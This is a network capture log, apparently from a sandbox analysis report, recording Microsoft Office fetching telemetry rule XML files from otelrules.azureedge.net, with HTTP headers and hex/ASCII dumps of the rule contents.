2024-11-21 13:26:59 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:59 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: d7880247-601e-0070-328c-3aa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132659Z-1777c6cb754j8gqphC1TEB5bf80000000b1g00000000d76d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:59 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:59 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:59 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:59 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 9c000695-d01e-005a-5e7b-3b7fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132659Z-r1d97b99577hc74hhC1TEBvbns0000000a9g000000007nzy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:59 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.5	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:00 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:00 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:00 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 5a5a0c5e-c01e-0079-588c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132700Z-1777c6cb754xlpjshC1TEBv8cc0000000b7000000000gg22 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:00 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.5	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:00 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:00 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:00 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 8176cca2-201e-0003-2c64-3bf85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132700Z-178bfbc474bbcwv4hC1NYCypys00000001fg0000000013rq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:00 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.5	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:01 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:01 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:01 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 28a3992e-001e-0028-777f-3bc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132701Z-r1d97b99577n4dznhC1TEBc1qw0000000ah0000000003m2v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:01 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.5	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:01 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:01 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:01 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: e8b51a0f-101e-008e-72be-3bcf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132701Z-r1d97b995774n5h6hC1TEBvf840000000ab000000000bca1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:01 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.5	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:01 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:01 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:01 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 85babd8c-f01e-003f-4e8c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132701Z-1777c6cb754ww792hC1TEBzqu40000000b30000000001bph x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:01 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.5	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:02 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:03 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:03 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 21def030-601e-0084-7c7b-3b6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132703Z-1777c6cb754dqf99hC1TEB5nps0000000az000000000ctak x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:03 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.5	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:02 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:03 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:03 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: d35eb2be-501e-0064-3d8c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132703Z-r1d97b9957789nh9hC1TEBxha80000000aeg00000000eec1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:03 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.5	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:03 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:03 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:03 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: d2879cce-801e-0047-5869-3b7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132703Z-178bfbc474bxkclvhC1NYC69g400000001e000000000bxmx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:03 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.5	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:03 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:03 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:03 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132703Z-178bfbc474bnwsh4hC1NYC2ubs00000001h000000000fkpm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:03 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:03 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:04 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:04 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 3994331f-f01e-0071-696c-3b431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132704Z-178bfbc474bfw4gbhC1NYCunf400000001m0000000005uun x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:04 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:04 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
